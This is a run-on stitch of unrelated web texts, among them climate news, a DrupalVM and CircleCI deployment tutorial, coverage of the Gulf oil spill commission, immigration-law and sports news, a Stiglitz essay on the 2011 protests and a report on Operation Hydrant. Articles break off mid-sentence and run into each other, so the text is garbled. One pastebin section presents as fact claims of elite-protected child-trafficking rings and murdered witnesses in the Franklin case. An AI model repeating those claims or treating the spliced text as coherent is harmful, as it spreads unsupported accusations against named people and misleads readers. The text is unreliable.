Eurowings currently leases 38 aircraft from Air Berlin - and because of this, it too has had to cancel flights because of the pilots' walkout.Burning all the world’s deposits of coal, oil and natural gas would raise the temperature enough to melt the entire ice sheet covering Antarctica, driving the level of the sea up by more than 160 feet, scientists reported Friday.
In a major surprise to the scientists, they found that half the melting could occur in as little as a thousand years, causing the ocean to rise by something on the order of a foot per decade, roughly 10 times the rate at which it is rising now. Such a pace would almost certainly throw human society into chaos, forcing a rapid retreat from the world’s coastal cities.
The rest of the earth’s land ice would melt along with Antarctica, and warming ocean waters would expand, so that the total rise of the sea would likely exceed 200 feet, the scientists said.
“To be blunt: If we burn it all, we melt it all,” said Ricarda Winkelmann, a researcher at the Potsdam Institute for Climate Impact Research in Germany and the lead author of a paper published Friday in the journal Science Advances.DrupalVM is a tool created by Jeff Geerling that “makes building local Drupal development environments quick and easy” for Drupal. It is built using Vagrant and provisioned with Ansible. Since it uses Ansible, it also provides a means to support a production environment deployment. This allows for a repeatable and determinable environment when developing and deploying to remote servers.
In fact, I currently use DrupalVM to power a Drupal Commerce 2 environment that I run locally and in production. The production environment is updated using continuous deployment via CircleCI. The wonderful roles created by Jeff Geerling and his playbook in DrupalVM handle my production deployment.
Want the tl;dr, skip to bottom for the example.
Setting up DrupalVM within your project
First things first, you’ll need to use DrupalVM. In this example we will add DrupalVM as a project dependency, using Composer. This is important. It ensures that any developer using this project, the CI/CD environment, and the final destination all have the same version of files. It also makes it easier to manage and receive upstream fixes.
For my project I followed Jeff’s blog post Soup to Nuts to configure DrupalVM and setup my DigitalOcean droplet to be my production target. You might want to read that over if you have yet to see how DrupalVM can go to production. I won’t copy those steps here, I’ll show how you can get CircleCI to deploy your DrupalVM configuration to a remote host.
See the article for full details, or my example linked later. For now I’ll do a quick review of some basic config.
The inventory file:
[drupalvm] 192.168.1.12 ansible_ssh_user=drupalvm
The config.yml file:
drupal_domain: "example.com" vagrant_hostname: "{{ drupal_domain }}" apache_vhosts: - servername: "{{ drupal_domain }}" documentroot: "{{ drupal_core_path }}" extra_parameters: "{{ apache_vhost_php_fpm_parameters }}"
The vagrant.config.yml file:
# Note, {{ drupal_domain }} overridden for Vagrant to use local.* prefix. drupal_domain: "local.example.com" The prod.config.yml file: drupal_deploy: true drupal_deploy_repo: "[email protected]:organization/repo.git" drupal_deploy_dir: "/var/www/drupal"
Those are the only tidbits in my production configuration. I treat the config.yml as primary with specific non-production overrides in vagrant.config.yml.
Adding CircleCI
NOTE! You’ll need to be able to deploy from CircleCI to a remote server, which means adding SSH permissions. With CircleCI you must create a key on your server and give the private key to project configuration.
Okay! So DrupalVM is running, you have accessed your site. Now, let’s run this sucker with CircleCI to do testing and deployment. Create a circle.yml file and let us walk through writing it.
First, we need to specify what language we’re using. In this case, I am using a PHP 7.0 image.
machine: php: version: 7.0.7
Defining dependencies
Next we want to set up our dependencies. Dependencies are things that we will need to actually run our tests, and they can be cached to speed up future runs. I’ll annotate specific steps using comments within the YAML.
dependencies:
# Cache the caches for Composer and PIP, because package download is always a PITA and time eater.
cache_directories:
- ~/.composer/cache
- ~/.cache/pip
pre:
# Install Ansible
- pip install ansible
- pip install --upgrade setuptools
- echo $ANSIBLE_VAULT_PASSWORD > ~/.vault.txt
# Disable xdebug (performance) and set timezzone.
- echo "date.timezone = 'America/Chicago'" > /opt/circleci/php/7.0.7/etc/conf.d/xdebug.ini
override:
# I save a GitHub personal OAuth token for when Composer beats down GitHub's API limits
- git config --global github.accesstoken $GITHUB_OAUTH_TOKEN
- composer config -g github-oauth.github.com $GITHUB_OAUTH_TOKEN
- composer install --prefer-dist --no-interaction
Running tests
Before deploying anything to production or staging, we should make sure it does not deploy broken code.
test: pre: # Containers come with PhantomJS, so let's use it for JavaScript testing. # We specify it to run in background so that CircleCI saves output as build artifacts for later review. - phantomjs --webdriver=4444: background: true # Sometimes the test script can get cranky when this directory is missing, so make it. - mkdir web/sites/simpletest # User the PHP built-in webserver for tests, also run in background for log artifacts. - php -S localhost:8080 -t web: background: true override: # Run some tests -./bin/phpunit --testsuite unit --group commerce -./bin/phpunit --testsuite kernel --group commerce -./bin/behat -f junit -o $CIRCLE_TEST_REPORTS -f pretty -o std
Saving artifacts
In the event that our tests do fail, it would be great to see additional artifacts. Any process that had background: true defined will have its logs available. Adding the following lines will let us access HTML output from the PHPUnit Functional tests and any Behat tests.
general: # Expose test output folders as artifacts so we can review when failures happen. artifacts: # Folder where Functional/FunctionalJavascript dump HTML output - "web/sites/simpletest/browser_output" # Folder where Behat generates HTML/PNG output for step failures - "tests/failures"
Setting up deployment
Now, it is time to tell CircleCI about our deployment process. Nothing too magical here. We are simplify defining that when the master branch passes to run a specific command. This command will load our production config and run the DrupalVM provisioning playbook on our production server. We specify the drupal tags to limit the scope of deployment.
deployment: prod: branch: master commands: # Specify DrupalVM environment and fire off provisioning. # DRUPALVM_ENV specifies which *.config.yml to load. - DRUPALVM_ENV=prod ansible-playbook \ -i vm/inventory \ vendor/geerlingguy/drupal-vm/provisioning/playbook.yml \ # Points to directory containing your config.yml files. -e "config_dir=$(pwd)/vm" \ --sudo --tags=drupal # I exported my Ansible user sudo password to environment variables to make provisioning work. --extra-vars "ansible_become_pass=${ANSIBLE_VAULT_PASSWORD}"
If your tests fail then the deployment will not run.
Example
Want to see an example of the full config? See my Drupal Commerce 2 composer project templateWashington (CNN) -- The National Oil Commission, just beginning its investigation into the Gulf of Mexico oil disaster, faces a daunting task: Collect information, process it and within six-months make recommendations to President Obama.
And unlike presidential commissions examining the September 11, 2001, attacks, the space shuttle Challenger explosion and the Three Mile Island nuclear plant accident, this one is unique: The disaster is still going on.
"In some ways, it really doesn't make much sense because the importance of commissions is that they have data that no one else has," said Stephen Hess, a presidential historian and scholar at the nonpartisan Brookings Institution.
Obama signed an executive order on May 22 creating the seven-member commission, tasked with investigating the April 20 Deepwater Horizon oil rig explosion in the Gulf and the subsequent oil spill that has become the worst environmental disaster in the country's history.
The commission is tasked with three things: determine why the oil rig exploded; make recommendations about preventing similar disasters; and determine whether offshore oil and gas drilling should continue.
"We will look at all aspects of the cause.... We should go well beyond April 20 to see whether there were decisions made or even a culture that was established that may have contributed to the series of problems and the faulty decisions that were made," committee co-chairman William Reilly said.
Reilly, chief of the Environmental Protection Agency during President H.W. Bush's administration, is leading the committee with former U.S. Sen. Bob Graham of Florida.
Is the six-month time frame feasible?
"It's a much tighter time frame than that which characterized earlier commissions like the 9/11 commission," Reilly said.
The 9/11 Commission began its work in November of 2002. Its final report was released two years later in July 2004. The Challenger commission, though, had a relatively quick investigation. It first met in early February of 1986, just days after the explosion, and published its report in June that year.
Reilly is confident the commission will complete two of its three tasks: make recommendations about preventing similar disasters; and determine whether offshore oil and gas drilling should continue.
Read more about the oil commission
As for the third task, the precise determination of the causes, Reilly said the group will do its best. He acknowledged that the commission is also fighting for information as other commissions and the Department of Justice are running concurrent investigations.
While the road ahead is daunting for the commission, Hess said they have some advantages: the backing of the president, the immediate attention of the American public, and the anger and frustration of Gulf Coast residents.
Hess said the residents and environmentalists are using the open hearings held by the commission as a way to vent their frustration.
"That defines this sort of commission," he said. "A lot of commissions don't hold open hearings.... When they hold open hearings they know exactly why they are doing it: to let people give their emotional pitches."
A woman shouting about dispersants in the water interrupted the first commission hearings on Monday. BP is blocking LSU scientists from doing tests, she said, adding, "Everybody's got to get upset about this."
Tight mandates make for successful commissions, said Reilly.
"If [commissions] can be very specific and they can be very focused -- and of course get a lot of attention -- they can be useful." He said the oil commission has some of those qualities.
Many recommendations from the Challenger and Three Mile Island commissions resulted in changes to operating procedures, stricter safety measures and stronger oversight.
But the oil commission also faces criticism, especially Republicans who charge that the makeup of the commission is unbalanced.
Several Republican senators, including John Barrasso of Wyoming and Robert Bennett of Utah, have criticized the lack of oil and gas experts on the commission and the use of what they call pro-environmental members.
And an editorial in New Orleans' largest newspaper on Sunday questioned the makeup of the commission.
"The president weighted the group with experts who appear more qualified to deal with the spill's effects than with its causes," according to the Times-Picayune editorial. "We're concerned commission members who have been environmental advocates may put their own agenda first, ignoring the nation's energy needs and the livelihood of Louisianans."
The editors went on to say that the president's commission needs to keep an open mind and "make a balanced assessment of our need for oil and of ways to mitigate the risks."
Advocates for the commission point out commission chief Reilly, a Republican, has ties to the energy industry, having served on the board at Conoco-Phillips. The Obama administration said the commission is full of well-qualified and unbiased scientists and experts.
"The 9/11 commission had certain advantages because you didn't have to put any terrorists on it," Hess said. "There was one American point of view. But with the oil commission, we see there [is] more than one point of view."
But even the 9/11 commission had trouble implementing some recommendations.
The 9/11 commission's heads discussed their frustration in May, saying several of their recommendations had not been properly implemented.
All of the problems are bureaucratic in nature, but threaten public security, said former commission Chairman Thomas Kean and Deputy Chairman Lee Hamilton.
CNN's Mike Ahlers and Shelby Lin Erdman contributed to this report.Protect your kids from pedophiles a guest May 31st, 2013 3,852 Never a guest3,852Never
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rawdownloadcloneembedreportprint text 11.58 KB The information below is intended to convey the reality of the fact that, in both the US and Europe, criminal networks exist which provide access to children for the purposes of sexual exploitation and child pornography to elite clientele in the political and business worlds. These networks often target the most vulnerable populations of children, especially those in state institutions. Oftentimes, these networks are protected by security forces and the legal system because they are a valuable source of blackmail/intelligence, and because the revelation of their clients would be politically problematic. When they are exposed, the full story is almost never told. These sections are presented in no particular order. The Franklin Case In the 1980s, banker/politcian Lawrence King used the Omaha, NB Franklin Credit Union as a cover for many criminal activities, including child trafficking and pimping to elite clients in Washington DC. Children were prostituted at parties hosted by gay-pimp Republican lobbyist Craig Spence. The credit union failed due to King’s embezzlement and a NB State Senate investigation turned up massive evidence of large-scale child abuse, but the FBI shut down the investigation and two sham grand juries attacked the accusers. Several witnesses and an investigator were murdered or died mysteriously. Former CIA Director Bill Colby went on record stating the case had merit before dying in a “canoe accident”. 1 Hour Conspiracy of Silence documentary on the Franklin Case http://www.youtube.com/watch?v=asvl6kO1Vo8 HIGHLIGHT: Fmr. CIA Director Bill Colby states allegations are true: http://www.youtube.com/watch?v=DoJKUxAg2gE&feature=youtube_gdata_player Nebraska State Senator/Vietnam Vet John DeCamp’s book on the scandal. Decamp’s life has been threatened many times http://www.mediafire.com/?102hc2yo4e23yr2 Interview with Troy Boner, a Franklin Abuse Victim. Boner and the interviewer, Gary Caradori, were both later murdered http://www.youtube.com/watch?v=xCVbDlmpcG0 Troy Boner’s Affidavit http://www.scribd.com/doc/97301774/Troy-Boner-s-Affidavit-on-the-Franklin-Credit-Union-Scandal Victim Paul Bonacci’s Testimonial Transcripts http://www.scribd.com/doc/97302292/Paul-Bonacci-Court-Transcripts-from-Larry-King-Lawsuit Caradori interview w/victim Alisha Owen. Owen was sentenced to 27 years for perjury because she would not withdraw her story of being abused http://www.youtube.com/watch?v=vE8sI2raihg Former FBI Senior Special AgentTed Gunderson on Franklin Abuse Case: http:// |
7 offseason.
The soon-to-be 45-year-old Garcia last played in the NFL since 2011. In 2014, he made his coaching debut by serving as the quarterbacks coach for the Montreal Alouettes.
If I had to guess, the Eagles will opt for someone with more coaching experience. But Garcia is probably at least worth an interview, right?Looking for news you can trust?
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Anyone who has ever watched a cop show on TV knows how Miranda rights work. After a suspect is apprehended, the arresting officer alerts that person to his or her rights—specifically, the right to remain silent and the right to legal counsel. The warning protects suspects from incriminating themselves and the state from later introducing inadmissible evidence.
Easy enough, right? Well, it’s never been that simple for immigrant noncitizens, whether they’re legal permanent residents or undocumented. When noncitizens are arrested by, say, local law enforcement, they are read their rights like anyone else. But when they’re picked up by immigration officers (Border Patrol or Immigration and Customs Enforcement agents), there are separate but similar Miranda-like procedures those officials must follow.
At least, there used to be. On August 11, in a surprising and precedent-setting decision (PDF), the country’s highest administrative tribunal on immigration decided that noncitizens arrested without a warrant do not need to be read their rights until after entering formal deportation proceedings—that is, until well after questioning by immigration officers. From the Board of Immigration Appeals (BIA) decision:
Until an alien who is arrested without a warrant is placed in formal proceedings by the filing of a Notice to Appear (Form I-862), the regulation…does not require immigration officers to advise the alien that he or she has a right to counsel and that any statements made during interrogation can subsequently be used against the alien.
The nonprofit American Immigration Council’s Legal Action Center was quick to condemn the ruling. “This decision epitomizes the substandard system of justice that’s been created and imposed on immigrants in the United States,” said Melissa Crow, the center’s director, in a statement. “The Board’s ruling renders the advisals practically meaningless and makes immigrants less likely to remain silent when questioned and less likely to assert their right to counsel.”
The case deals with a legal US resident from Guatemala who was caught by Border Patrol officers in 2004 trying to sneak his nephew into the United States. In the eight hours that passed between his arrest and the initiation of formal proceedings, the man “admitted that he knowingly used his son’s birth certificate to try to smuggle his nephew into the United States.” The man was ordered removed from the country, and the case was in appeals until the BIA handed down its ruling, deciding that the eight hours of detention did not qualify as the start of formal proceedings.
In a phone interview Wednesday, Crow said that both the timing of the ruling and the decision itself were unexpected. “To give you a criminal-case analogy, it would be like not receiving Miranda rights until indictment,” she said, adding that while it was her understanding that the lawyer in the case was planning an appeal, “there’s not a lot of wiggle room” at this stage in the process.
Bill Hing, a law professor at the University of San Francisco and a contributor to the ImmigrationProf blog, says that while the ruling is important, it might not change the reality for many noncitizens apprehended by ICE. “The truth is, even before the decision, the vast majority of people the Border Patrol or ICE believed to be deportable never got advisals of right to counsel,” he says. “Most of the time it wouldn’t make a difference. [Authorities] know the people have a criminal record or that they’re undocumented.”
But, Hing says, asking for counsel often means fielding fewer questions from immigration authorities. In some cases, then, an advisal at the time of arrest could make the difference between being deported and being released. “If they don’t have enough information to prove you’re deportable,” he says, “they give you information about counsel, or they let you go.” Without that advisal, detained immigrants are more likely to reveal incriminating information—and more likely to be deported.
Still, the decision has drawn little attention, and in a way, that makes sense. Few people understand the BIA, and last week was a big one for other immigration-related news: On Thursday, the Obama administration announced that it will review 300,000 pending deportation cases, and earlier in the week a federal judge ordered the release of hundreds of “embarrassing” emails that highlight the Department of Homeland Security’s doubts about its controversial Secure Communities program.There are times in history when people all over the world seem to rise up, to say that something is wrong and to ask for change. This was true of the tumultuous years of 1848 and 1968. It was certainly true in 2011. In many countries there was anger and unhappiness about joblessness, income distribution, and inequality and a feeling that the system is unfair and even broken.
Both 1848 and 1968 came to signify the start of a new era. The year 2011 may also. The modern era of globalization also played a role. It helped the ferment and spread of ideas across borders. The youth uprising that began in Tunisia, a little country on the coast of North Africa, spread to nearby Egypt, then to other countries of the Middle East, to Spain and Greece, to the United Kingdom and to Wall Street, and to cities around the world. In some cases, the spark of protest seemed, at least temporarily, quenched. In others, though, small protests precipitated societal upheavals, taking down Egypt’s Hosni Mubarak, Libya’s Muammar Qaddafi, and other governments and government officials.
Something Is Wrong
That the young people would rise up in the dictatorships of Tunisia and Egypt was understandable. They had no opportunities to call for change through democratic processes. But electoral politics had also failed in Western democracies. There was increasing disillusionment with the political process. Youth participation in the 2010 U.S. election was telling: an unacceptably low voter turnout of 20 percent that was commensurate with the unacceptably high unemployment rate. President Barack Obama had promised “change we can believe in,” but he had delivered economic policies that seemed like more of the same—designed and implemented by some of the same individuals who were the architects of the economic calamity. In countries like Tunisia and Egypt, the youth were tired of aging, sclerotic leaders who protected their own interests at the expense of the rest of society.
And yet, there were, in these youthful protesters of the Occupy Movement—joined by their parents, grandparents, and teachers—signs of hope. The protesters were not revolutionaries or anarchists. They were not trying to overthrow the system. They still had the belief that the electoral process might work, if only there was a strong enough voice from the street. The protesters took to the street in order to push the system to change, to remind governments that they are accountable to the people.
The name chosen by the young Spanish protesters—los indignados, the indignant or outraged—encapsulated the feelings across the world. They had much to be indignant about. In the United States, the slogan became “the 99 percent.” The protesters who took this slogan echoed the title of an article I wrote for the magazine Vanity Fair in early 2011 that was titled “Of the 1%, for the 1%, and by the 1%.” The article cited studies that described the enormous increase in inequality in the United States—to the point where 1 percent of the population controls some 40 percent of the wealth and garner for themselves some 20 percent of all the income. In other countries, the lack of opportunities and jobs and the feeling that ordinary people were excluded from the economic and political system caused the feeling of outrage. In his essay, Egyptian activist Jawad Nabulsi discusses how the system was fixed in favor of the upper classes, and he uses the word fairness repeatedly to describe what was lacking in Egypt under Mubarak.
Something else helped give force to the protests: a sense of unfairness. In Tunisia and Egypt and other parts of the Middle East, it wasn’t just that jobs were hard to come by, but those jobs that were available went to the politically connected. In the United States, things seemed more fair, but only superficially so. People who graduated from the best schools with the best grades had a better chance at the good jobs. But the system was stacked because wealthy parents sent their children to the best kindergartens, grade schools, and high schools, and those students had a far better chance of getting into the elite universities. In many of these top schools, the majority of the student body is from the top quartile, while the third and fourth quartiles are very poorly represented. To get good jobs, one needed experience; to get experience, one needed an internship; and to get a good internship, one needed both connections and the financial wherewithal to be able to get along without a source of income.
Around the world, the financial crisis unleashed a new sense of unfairness, or more accurately, a new realization that our economic system was unfair, a feeling that had been vaguely felt in the past but now could no longer be ignored. The system of rewards—who received high incomes and who received low—had always been questioned, and apologists for the inequality had provided arguments for why such inequality was inevitable, even perhaps desirable. The inequities had been growing slowly over time. It is sometimes said that watching changes in income inequality was like watching grass grow. Day by day, one couldn’t see any change. But as those who live near abandoned subprime houses know all too well, within a few months, scrub and weeds can quickly replace the best of manicured lawns. Over time, the change is unmistakable, and so too, over time, the inequality has increased to the point where it cannot be ignored. And that’s what’s been happening in the United States and many other countries around the world.
Even in the United States, a country not given to class warfare, there is today a broad consensus that the top should be taxed at a higher rate or at least not taxed at a lower rate. While some at the top may believe that they earned what they received through hard work, and it is their right to keep it, the reality (which many of the richest do realize) is that no one succeeds on his own. The poor often work far harder than the richest. In developing countries, the poor lack the chance of education and have no access to funds, and their economies are dysfunctional, but they work long hours carrying water, looking for fuel, and toiling at manual labor. Even in developed countries, life chances are affected by where one is born and the education and income of one’s parents. Often it comes down to luck, being in the right place at the right time.
It was not just the worsening inequality that outraged the protesters of 2011. It was a sense that at least some of those incomes were not honestly earned. Injustice motivated the Occupy Wall Streeters just as it motivated the young Tunisians of the Arab Spring. If someone earns huge incomes as a result of a brilliant contribution that leads to huge increases in incomes of the rest of society, it might seem fair that he receive a fraction, perhaps a substantial fraction, of what he has contributed. Indeed, the dominant paradigm in economics attempted to justify societal inequalities by saying (I should say, assuming) that they were related to differences in “marginal” productivities: those who, at the margin, contributed more to society got more.
Now, in the aftermath of the crisis, it seemed grossly unfair that the bankers walked off with outsized bonuses while those who suffered from the crisis brought on by those bankers’ reckless and predatory lending went without a job. It seemed grossly unfair that government bailed out the banks but seemed reluctant to even extend unemployment insurance for those who through no fault of their own could not get employment or to provide anything but token help to the millions who were losing their homes. What happened undermined the prevailing justification for inequality, that those who made greater contributions to society receive (and should receive) larger rewards. Bankers reaped large rewards even though their contribution to society—and even to their firms—had been negative. In other sectors, CEOs who ran their firms into the ground, causing losses for shareholders and workers alike, were rewarded with gargantuan bonuses.
If no one is accountable, the problem must lie in the economic system. This is the inevitable conclusion and the reason that the protesters are right to be indignant. Every barrel has its rotten apples, but the problem, as MIT Professor Susan Silbey has written, comes when the whole barrel is rotten.
Much of what has gone on can only be described by the words moral deprivation. Something wrong had happened to the moral compass of so many of the people working in the financial sector. When the norms of a society change in a way that so many have lost their moral compass—and the few whistle-blowers go unheeded—that says something significant about the society. The problem is not just the individuals who have lost their moral compass but society itself.
What the protests tell us is that there was outrage and that outrage gives hope. Americans have always had an idealistic streak, reflected both in the instruction in schools and in political rhetoric. Kids read the Declaration of Independence, “all men are created equal,” and they read the words literally, all men, white and black, and they believe them. They recite the Pledge of Allegiance, which promises “justice for all,” and they believe it.
Market Failures
The list of grievances against corporations was long, and longstanding. For instance, cigarette companies stealthily made their dangerous products more addictive, and even as they tried to persuade Americans that there was no scientific evidence of the dangers of their products, their files were filled with evidence to the contrary. Exxon had similarly used its money to try to persuade Americans that the evidence on global warming was weak, even though the National Academy of Sciences had joined with every other scientific body in saying that the evidence was strong. Chemical companies had poisoned the water, and when their plants blew up, they refused to take responsibility for the death and destruction that followed. Drug companies used their monopoly power to charge prices that were a multiple of their costs of production, condemning to death those who could not afford to pay.
The financial crisis itself had brought out more abuses. While the poor suffered from predatory lending practices, almost every American suffered from deceptive credit card practices. And while the economy was still reeling from the misdeeds of the financial sector, the BP oil spill showed another aspect of the recklessness: lack of care in drilling had endangered the environment and threatened jobs of thousands of people depending on fishing and tourism.
But even before the crisis, the evidence was that the market economy was not delivering for most Americans. GDP was going up but most citizens were worse off. Not even the laws of economics long championed by the political right seemed to hold. Earlier, we explained how the theory that is supposed to relate rewards to social contributions had been falsified by the Great Recession. The theory holds that competition is supposed to be so strong in a perfectly efficient market that “excess” profits (returns in excess of the normal return on capital) approach zero. Yet each year we saw the banks walking off with mega-profits so large that it is inconceivable that markets are really competitive. Standard courses in economics talk about the law of demand and supply, where prices are determined to equate the two. In the theoretical model, there is no such thing as unemployment, no such thing as credit rationing. But in fact, we have a world in which there are both huge unmet needs (e.g., investments to bring the poor out of poverty, to bring development to Africa and the other less developed countries in other continents around the world, to retrofit the global economy to face the challenges of global warming) and vast underutilized resources (e.g., workers and machines that are idle or not producing up to their potential). As of December 2011, some 25 million Americans who would like a full time job can’t get one, and the numbers in Europe are similar.
Innovation and globalization provide the most recent—and the most important—contexts to observe the failings of the market. Both were supposed to make our economy more prosperous, and yet both seem to have resulted in an economy in which most citizens are becoming worse off.
In recent research, Bruce Greenwald and I have traced the roots of the Great Depression to an increase in agricultural productivity so rapid that fewer and fewer people were needed to grow the world’s food. In the United States in 1900, a large portion of the labor force worked on farms; today less than 2 percent of the population grows more food than even an obese population can consume—and there are large amounts left over for exports. Over time, most people working in agriculture who were no longer needed looked for alternative employment. But at times, the movement away from agriculture was far from smooth. Between 1929 and 1932, agricultural prices plummeted, and incomes fell by an amount variously estimated at one-third or two-thirds. Such precipitous declines in income resulted in corresponding declines in demand for manufactured goods. Rural real estate prices plummeted and credit became unavailable, and so, despite their already low income, farmers were trapped in the declining sector. Just when migration out of the rural sector should have been increased, it came to a halt. If people had been able to relocate, if new jobs had been created, the increases in productivity would have been welfare-increasing, but as it was, given the market failures, those in both the city and the rural sector suffered.
It seems strange, in the midst of the Great Recession, when one out of six Americans who would like to get a full-time job is unable to get one, to see stores replacing low-wage cashier clerks with machines. The innovation may be impressive, profits may even be increased, but the broader economic and social consequences cannot be ignored: higher unemployment, lower wages for unskilled labor as the balance of demand and supply tilts more against workers, and greater inequality.
Political Failures
The political system seems to be failing as much as the economic system, and in some ways, the two failures are intertwined. The system failed to prevent the crisis, it failed to remedy the crisis, it failed to check the growing inequality, it failed to protect those at the bottom, and it failed to prevent the corporate abuses. And while it was failing, the growing deficits suggested that these failures were likely to continue into the future.
Americans, Europeans, and people in other democracies around the world take great pride in their democratic institutions. But the protesters have called into question whether there is a real democracy. Real democracy is more than the right to vote once every two or four years. The choices have to be meaningful. The politicians have to listen to the voices of the citizens. However, increasingly, and especially in the United States, it seems that the political system is more akin to “one dollar one vote” than to “one person one vote.” Rather the correcting the market’s failures, the political system is reinforcing them.
Tax systems in which a billionaire like Warren Buffett pays less taxes (as a percentage of his income) than those who work for him, or in which speculators who helped bring down the global economy are taxed at lower rates than are those who work for their income reinforce the view that politics is unfair, and contribute to the growing inequality.
The failures in politics and economics are related—and they reinforce each other. A political system that amplifies the voice of the wealthy also provides opportunity for laws and regulations—and the administration of laws and regulations—to be designed in ways that not only fail to protect the ordinary citizens against the wealthy but enrich the wealthy at the expense of the rest of society.
Globalization and Markets
My criticism of globalization lies not with globalization itself, but with the way it has been managed: it is a two-edged sword, and if it is not managed well, the consequences can be disastrous. When managed well—and a few countries have succeeded in managing it well, at least so far—it can bring enormous benefits.
The same is true for the market economy: the power of markets, for good and for evil, is enormous. The increase in productivity and standards of living in the past two hundred years have far exceeded those of the previous two millennia, and markets have played a central role—though so too has government, a fact that free marketers typically fail to acknowledge. But markets have to be tamed and tempered, and that has to be done repeatedly to make sure that they work to the benefit of most citizens. That market control happened in the United States in the progressive era, when competition laws were passed for the first time. It happened during the New Deal, when social security, employment, and minimum wage laws were passed. The message of the Occupy Wall Streeters, and other protesters around the world, was that markets once again needed to be tamed and tempered. Even in parts of the Middle East, where they brought increases in growth, the benefits did not trickle down.
From Cairo to Wall Street
In more than forty years of travel to developing countries, I have seen these problems at close hand. And throughout 2011, I gladly accepted invitations to Egypt, Spain, and Tunisia, and I met with protesters in Madrid’s Retiro Park, at Zuccotti Park in New York, and in Cairo where I spoke with the young men and women who had played a central role at Tahrir Square. As we talked, it was clear to me that they understood how in many ways the system has failed. The protesters have been criticized for not having an agenda, but such criticism misses the point of protest movements. They are an expression of frustration with the electoral process. They are an alarm.
At one level, these protesters are asking for so little: for a chance to use their skills, for the right to decent work at decent pay, for a fairer economy and society. Their requests are not revolutionary but evolutionary. But at another level, they are asking for a great deal: for a democracy where people, not dollars, matter; and for a market economy that delivers on what it is supposed to do. The two demands are related: unfettered markets do not work well, as we have seen. For markets to work the way markets are supposed to work, there has to be appropriate government regulation. But for that to occur, we have to have a democracy that reflects the general interests, not the special interests. We may have the best government that money can buy, but that won’t be good enough.
In some ways, the protesters have already accomplished a great deal: think tanks, government agencies, and the media have confirmed their allegations, of the high and unjustifiable level of inequality, the failures of the market system. The expression “we are the 99 percent” has entered into popular consciousness. No one can be sure where the Arab Spring or the Occupy Wall Street movements will lead. But of this we can be sure: these young protesters have already altered public discourse and the consciousness of both ordinary citizens and politicians.
Copyright © 2012 by Joseph E. Stiglitz. This excerpt originally appeared in From Cairo to Wall Street: Voices From the Global Spring © 2012 by Anya Schiffrin and Eamon Kircher-Allen, published by The New Press, reprinted here with permission.Having already announced the forthcoming departure of Nigel Boogaard, the Reds could yet be forced to say goodbye to another key defender at the end of this season
Time is running out for Osama Malik to commit to Adelaide United, with the A-League club 'not overly confident' of re-signing the talented utility player.
Malik, whose contract is set to expire at the end of the season, is one of the few first-choice Reds stars yet to commit his future to Josep Gombau's team.
News Corp have this week claimed the 24-year-old, who is comfortable at fullback, in central defence and in midfield, is the subject of interest from Belgium and Switzerland.
Speaking after his team's 3-1 loss to Melbourne City on Sunday, Gombau confirmed the club was expecting to hear back from Malik and his representatives this week.
Chief executive Michael Petrillo has now made it clear a response will be required soon to prevent Adelaide putting in place their plans for life without the former North Queensland Fury man.
"We have made an offer to Osama and he's considering it and we have to have an answer within a week or two," Petrillo was quoted as saying in the Adelaide Advertiser.
"We're confident but not overly confident. The ball is with him. He needs to give us an answer."Police have investigated more than 1,400 suspects in their probe into the alleged historic child sex abuse allegations against VIPs including politicians, celebrities and institutions.
Operation Hydrant, the group set up by the National Police Chiefs Council (NPCC) to explore links between investigations by different police forces into “prominent public persons” alleged to have committed child sex abuse, revealed the figures.
Out of the 1,433 suspects identified, 216 are now dead.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The group's chair, Norfolk Chief Constable Simon Bailey, said at a briefing: “The referrals are increasing on an almost daily basis. The numbers I refer to today are a snapshot in time.”
He said a group of 261 people had been classified as “people of public prominence”, of which 135 are in the TV, film or radio industry, 76 were listed as politicians, 43 are from the music industry and seven in the world of sport.
Mr Bailey continued: “We are seeing an unprecedented increase in the number of reports that are coming forward.
"That has brought about a step change in the way the service has had to deal with it."
He added: "There is no doubt (Jimmy) Savile has had an effect on us. We are dealing with more and more allegations."
It is now projected that around 116,000 reports of historic child sex abuse will have been made to the police by the end of this year, an increase of 71 per cent from 2012, Mr Bailey said.
There is no specific figure for the number of victims, but Mr Bailey said it will run into the thousands.
The current figures from Operation Hydrant have been taken from police forces in England, Wales, Scotland and Northern Ireland, and relate to reports and investigations of abuse dealt with by police in the summer of 2014.
Of the 1,433 suspects Mr Bailey said of this total 666 people were related to institutions.
This has led to 357 separate institutions being identified by the operation, 154 of which are schools, with a further 75 identified as children's homes and named as 40 religious institutions.
A further 14 have been identified as 14 medical establishments, with 11 named as institutions within communities. There are also nine prisons identified, nine sports venues and 28 other institutions including military groups and guest houses. A total of 17 have been classified as unknown.
Mr Bailey said the figures raise the question: "Is more abuse being perpetrated?
"I don't have the evidence at this moment in time to prove this one way or another."
But he said the internet is being ”abused“, adding: ”I can't help but think more abuse is being perpetuated.
“More research is needed to prove this one way or another.”
Additional reporting by
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Subscribe nowALONG with Sherlock Holmes and the rules of football, one of the great legacies of Victorian Britain is the Westminster parliamentary system. If voters want their voices to count, they have to choose between two large, boring parties. Excitable fringe groupings and a smallish third party, spread thinly across the country, struggle to make their mark. In return for putting up with such rank unfairness, Britons are promised strong, stable governments that can get things done. Plenty of countries have thought that trade-off worth copying.
But with three months to go until a general election, the mechanism is broken. In 1951 the Conservative and Labour parties together scooped 97% of the vote; in May, opinion polls suggest, they will each win barely a third. Membership of the Tory party has fallen from 3m in the 1950s to about 150,000. Labour, which used to rule Scotland, could be reduced to a handful of seats there. Support for the Liberal Democrats, tarnished by coalition government, has collapsed. Almost all the running has been made by three insurgents: the Scottish National Party (SNP), which wants Scotland out of Britain; the UK Independence Party (UKIP), which wants Britain out of Europe; and the Green Party, which wants “hyper-capitalism” out of both Britain and Europe. It is the biggest shake-up since the early 20th century, when Labour displaced the Liberals.
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Political insurgency—from Syriza in Greece to the Tea Party in America—is a feature of many Western democracies. But it will hit Britain especially hard. Unaccustomed and ill-adapted to multi-party politics, Britain is more likely to get weak, unstable governments. That will only fuel the dissatisfaction with career politicians in the main parties. And if the parliamentary system comes to be seen as both unfair and ineffectual, then it is in for a crisis of legitimacy.
Grief in the land of Gladstone
Some within the Tories and Labour hope that Britain’s political duopoly will re-establish itself as memories of the financial crisis fade or the first-past-the-post system bulldozes the smaller parties. That is unlikely to happen soon, because long-run forces are at play (see article). As the British class system has given way to a mish-mash of socio-economic groupings, tribal loyalties to Labour and the Conservatives have evaporated. Voters no longer belong to the left or the right. They have become political consumers who shop around. More recently, proud Scottish, nostalgic English or anxious green identities have counted for more than whether someone works on the factory floor or oversees those who do.
